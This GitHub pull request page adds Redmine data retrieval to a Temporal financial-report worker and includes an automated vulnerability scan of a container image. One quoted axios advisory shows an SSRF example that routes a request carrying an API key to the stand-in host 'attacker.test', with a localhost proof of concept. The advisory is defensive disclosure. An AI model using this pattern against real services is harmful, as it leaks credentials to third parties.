Skip to content

Conversation

@anatolyshipitz
Copy link
Collaborator

@anatolyshipitz anatolyshipitz commented May 23, 2025

  • Introduced a new Redmine class for managing database connections and fetching project units from Redmine.
  • Added package.json and package-lock.json for the common worker module, including necessary dependencies.
  • Updated docker-compose.yml to include environment variables for Temporal CLI configuration.
  • Created new activities and workflows for handling weekly financial reports, integrating Redmine data retrieval.
  • Enhanced error handling and logging in the workflow to improve debugging and maintainability.

These changes enhance the integration with Redmine, allowing for better data management and reporting capabilities within the worker framework.

anatolyshipitz and others added 16 commits May 22, 2025 16:16
- Updated the base image for the Temporal Dockerfile to version 1.27.2.
- Changed database configuration in `docker-compose.yml` to use `postgres12` and added a new environment variable for visibility database.
- Introduced a new Dockerfile for the Temporal worker, defining multi-stage builds for development and production environments.
- Enhanced healthcheck command in the Temporal Dockerfile for improved service monitoring.
- Added error handling in the main worker script to ensure unhandled errors are logged.

These changes improve the setup and configuration of the Temporal service and its workers, enhancing reliability and maintainability.
…tests

- Extracted error handling logic into a separate function `handleRunError` for better modularity and reusability.
- Updated the main script to use the new error handling function.
- Added unit tests for `handleRunError` to ensure proper logging and exit behavior on unhandled errors.

These changes improve the robustness of error handling in the application and enhance test coverage for critical functionality.
- Modified ESLint rules to allow console error logging while maintaining warnings for other console methods.
- Refactored test imports for better organization and clarity.
- Enhanced the `handleRunError` test to ensure proper error logging and process exit behavior, improving test reliability.

These changes improve code quality and testing practices, ensuring better adherence to ESLint rules and more robust error handling tests.
- Removed unnecessary installation of netcat from the Dockerfile for all stages.
- Streamlined the build process by eliminating redundant commands, focusing on npm installations.

These changes enhance the efficiency of the Dockerfile, reducing build time and complexity.
feat(dependencies): update package dependencies and TypeScript
configuration

- Added new dependencies: `@temporalio/client`, `@temporalio/worker`,
`mysql2`, and `zod` to `package.json`.
- Updated `@types/node` version to `22.15.21` for improved type
definitions.
- Adjusted `tsconfig.json` to change the `rootDir` to `..` and include
TypeScript files from the `../common` directory.

These changes enhance the project's dependency management and TypeScript
configuration, ensuring compatibility with the latest packages and
improving code organization.
- Introduced `DefaultLogger` for consistent error logging in the main worker script.
- Updated `handleRunError` to utilize the logger for error messages and added a delay before exiting the process.
- Refactored the `run` function to simplify its return statement.
- Enhanced unit tests to verify the new logging behavior and ensure proper process exit.

These changes improve the clarity and reliability of error handling in the application, ensuring that errors are logged consistently and the process exits gracefully.
- Removed commented-out code related to timer behavior in the `handleRunError` tests.
- Improved clarity and focus of the tests by eliminating unnecessary comments.

These changes enhance the readability and maintainability of the test suite, ensuring that the tests are concise and relevant.
… workflow

- Changed the dependency installation command from `npm ci` to `npm install` in the code quality workflow for better compatibility with the project setup.
- This adjustment ensures that the workflow installs the latest dependencies as specified in `package.json`, improving the reliability of the build process.
- Added `@temporalio/activity`, `@temporalio/workflow`, and `source-map-support` to both `package.json` and `package-lock.json`.
- Updated the versioning for existing Temporal dependencies to ensure compatibility.

These changes enhance the project's functionality by integrating additional Temporal features and improving error stack trace support.
…pendencies

- Added new dependencies including `@emnapi/core`, `@emnapi/runtime`, and various `@esbuild` modules to `package-lock.json`.
- Updated existing dependencies such as `@grpc/grpc-js` and `minimatch` to newer versions.
- Removed outdated dependencies and ensured compatibility with the latest package versions.

These changes enhance the project's dependency management, ensuring that the application utilizes the latest features and improvements from the updated packages.
- Introduced utility functions for environment validation and error logging in the new `utils.ts` file.
- Updated the main worker script to validate environment variables at startup and improved error handling with consistent logging.
- Refactored the `run` function to establish a connection and handle errors more gracefully.
- Adjusted Vitest configuration to lower coverage thresholds for better test management.
- Added new tests for the `weeklyFinancialReportsWorkflow` and improved existing tests for error handling.

These changes enhance the worker's reliability and maintainability by ensuring proper environment validation and consistent error logging.
….ts and weeklyFinancialReports.test.ts

- Reordered imports in `index.test.ts` for consistency and clarity.
- Enhanced the formatting of the `logSpy` mock implementation for better readability.
- Updated error handling tests in `weeklyFinancialReports.test.ts` to improve clarity and maintainability.
- Ensured that the tests are concise and focused on their intended functionality.

These changes enhance the overall structure and readability of the test suite, making it easier to understand and maintain.
…ling

- Updated the `weeklyFinancialReportsWorkflow` to accept a customizable period parameter, enhancing flexibility.
- Introduced a new `fetchFinancialData` function to encapsulate financial data retrieval logic, improving code organization.
- Enhanced error handling in the main worker script by simplifying the error handling function call.
- Refactored the validation schema in `worker.ts` to use optional environment variables for better configuration management.

These changes enhance the maintainability and usability of the financial reporting workflow, allowing for more dynamic data handling and improved error management.
…s test

- Modified the test for the `weeklyFinancialReportsWorkflow` to reflect the correct report string for a custom period.
- Removed the custom report title expectation and replaced it with the default 'Weekly Financial Report' to ensure accurate test validation.

These changes enhance the accuracy of the test suite by aligning expectations with the actual output of the workflow.
- Introduced a new `Redmine` class for managing database connections and fetching project units from Redmine.
- Added `package.json` and `package-lock.json` for the common worker module, including necessary dependencies.
- Updated `docker-compose.yml` to include environment variables for Temporal CLI configuration.
- Created new activities and workflows for handling weekly financial reports, integrating Redmine data retrieval.
- Enhanced error handling and logging in the workflow to improve debugging and maintainability.

These changes enhance the integration with Redmine, allowing for better data management and reporting capabilities within the worker framework.
@anatolyshipitz anatolyshipitz self-assigned this May 23, 2025
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner May 23, 2025 19:10
@coderabbitai
Copy link

coderabbitai bot commented May 23, 2025

Important

Review skipped

Draft detected.

Please check the settings in the CodeRabbit UI or the .coderabbit.yaml file in this repository. To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@anatolyshipitz anatolyshipitz marked this pull request as draft May 23, 2025 19:10
@github-actions
Copy link

github-actions bot commented May 23, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:b1f11cee35b6fb63747aeed38bd17d5227df43b93332ac4cb88fdeddcf18a556
vulnerabilitiescritical: 2 high: 5 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/[email protected]

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.023%
EPSS Percentile5th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.132%
EPSS Percentile34th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score13.314%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.049%
EPSS Percentile15th percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.021%
EPSS Percentile4th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.317%
EPSS Percentile54th percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Base automatically changed from feature/add-workflow to main May 23, 2025 19:29
- Eliminated the console log statement from the `getProjectUnits` function in `redmine.ts` to clean up the code and improve readability.

This change enhances the clarity of the code by removing unnecessary logging, which is not needed in the production environment.
…uration

- Removed redundant error logging functions from `utils.ts` to simplify the codebase.
- Introduced a new `.env.test` file for environment variable management during testing.
- Updated `package.json` and `package-lock.json` to include new dependencies for improved functionality.
- Adjusted the `weeklyFinancialReportsWorkflow` to enhance report generation by including project units in the output.

These changes improve the maintainability of the worker by reducing complexity in error handling and enhancing environment configuration for testing.
…iles

- Reordered and formatted imports in `redmine.test.ts` and `weeklyFinancialReports.test.ts` for better readability and consistency.
- Adjusted the `vitest.config.ts` file to ensure proper environment configuration during testing.

These changes enhance the clarity and maintainability of the test suite by standardizing import statements and improving overall code organization.
- Updated various dependencies in `package-lock.json` to their latest versions, including `@babel/parser`, `@babel/types`, `@esbuild`, `@rollup`, and others.
- This change ensures that the project uses the most recent and stable versions of dependencies, improving performance and security.

These updates enhance the overall reliability and maintainability of the project by keeping dependencies up to date.
- Reinstated the logger in the `beforeAll` setup of `redmine.test.ts` to improve logging during test execution.
- Removed an unnecessary expectation check for the result length in the `getProjectUnits` test, streamlining the test logic.

These changes enhance the test suite's logging capabilities and improve the clarity of the test assertions.
- Updated the logger implementation in both `redmine.test.ts` and `weeklyFinancialReports.test.ts` to ensure consistent logging during test execution.
- Removed unnecessary error activity function from `weeklyFinancialReports.test.ts`, streamlining the test code.

These changes improve the clarity of log outputs and enhance the maintainability of the test suite.
… dependencies

- Added license information for several dependencies in `package-lock.json`, including `aws-ssl-profiles`, `denque`, `generate-function`, `iconv-lite`, `long`, `lru-cache`, `mysql2`, `named-placeholders`, `safer-buffer`, and `sqlstring`.
- This update ensures compliance with licensing requirements and improves transparency regarding the usage of third-party packages.

These changes enhance the maintainability of the project by providing clear licensing information for all dependencies.
…fore running coverage

- Modified the code quality workflow to remove `node_modules` and `package-lock.json` before executing the coverage command. This ensures a clean environment for accurate test coverage results.

This change improves the reliability of the coverage reports by preventing potential issues caused by stale dependencies.
…management

- Updated the code quality workflow to ensure a clean installation of dependencies by removing `node_modules` and `package-lock.json` before running the coverage command. This change enhances the reliability of the coverage results by preventing issues from stale dependencies.

These modifications contribute to a more consistent and accurate testing environment.
…nstallation

- Updated the code quality workflow to separate the installation of common and main dependencies. This change improves clarity and ensures that each set of dependencies is installed correctly, enhancing the reliability of the testing environment.

These modifications contribute to a more organized and efficient setup process for the project.
…edmine integration

- Added a new `common` directory under the `main/src` path to house shared utilities, types, and configuration for all workers, enhancing modularity.
- Updated import paths in `redmine.test.ts` and `redmine.ts` to reflect the new structure, ensuring proper integration with the Redmine class.
- Removed the now obsolete `package.json` and `package-lock.json` files from the `common` directory, streamlining the project structure.

These changes improve the organization of shared resources and facilitate better code reuse across workers.
- Adjusted import paths in `index.ts`, `redmine.test.ts`, and `redmine.ts` to ensure they correctly reference the new structure of the `common` directory.
- Reformatted code in `Redmine.ts` and `utils.ts` for improved readability, including consistent spacing and line breaks.

These changes enhance code clarity and maintainability by standardizing import statements and improving overall formatting.
- Added a new `redmine.types.ts` file to define `ProjectUnit` and `FinancialData` interfaces, improving type organization and clarity.
- Updated `redmine.ts` to import types from `redmine.types.ts`, enhancing modularity and reducing redundancy.
- Removed commented-out threshold settings in `vitest.config.ts` for cleaner configuration.
- Refactored `weeklyFinancialReports` workflow to use an arrow function for better consistency in function definitions.

These changes enhance code maintainability and improve type safety across the project.
- Removed the export statement for `temporalConfig` in `index.ts` as it is no longer needed. This change helps to clean up the code and improve maintainability by eliminating unnecessary exports.

These modifications contribute to a more streamlined and organized codebase.
- Introduced `handleRunError` function in `index.ts` to centralize error logging and process termination for the main worker. This enhances error management by providing a consistent approach to handle unexpected errors during execution.

These modifications improve the robustness of the application by ensuring that errors are logged appropriately before the process exits.
@sonarqubecloud
Copy link

Quality Gate Failed Quality Gate failed

Failed conditions
33.6% Coverage on New Code (required ≥ 80%)

See analysis details on SonarQube Cloud

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants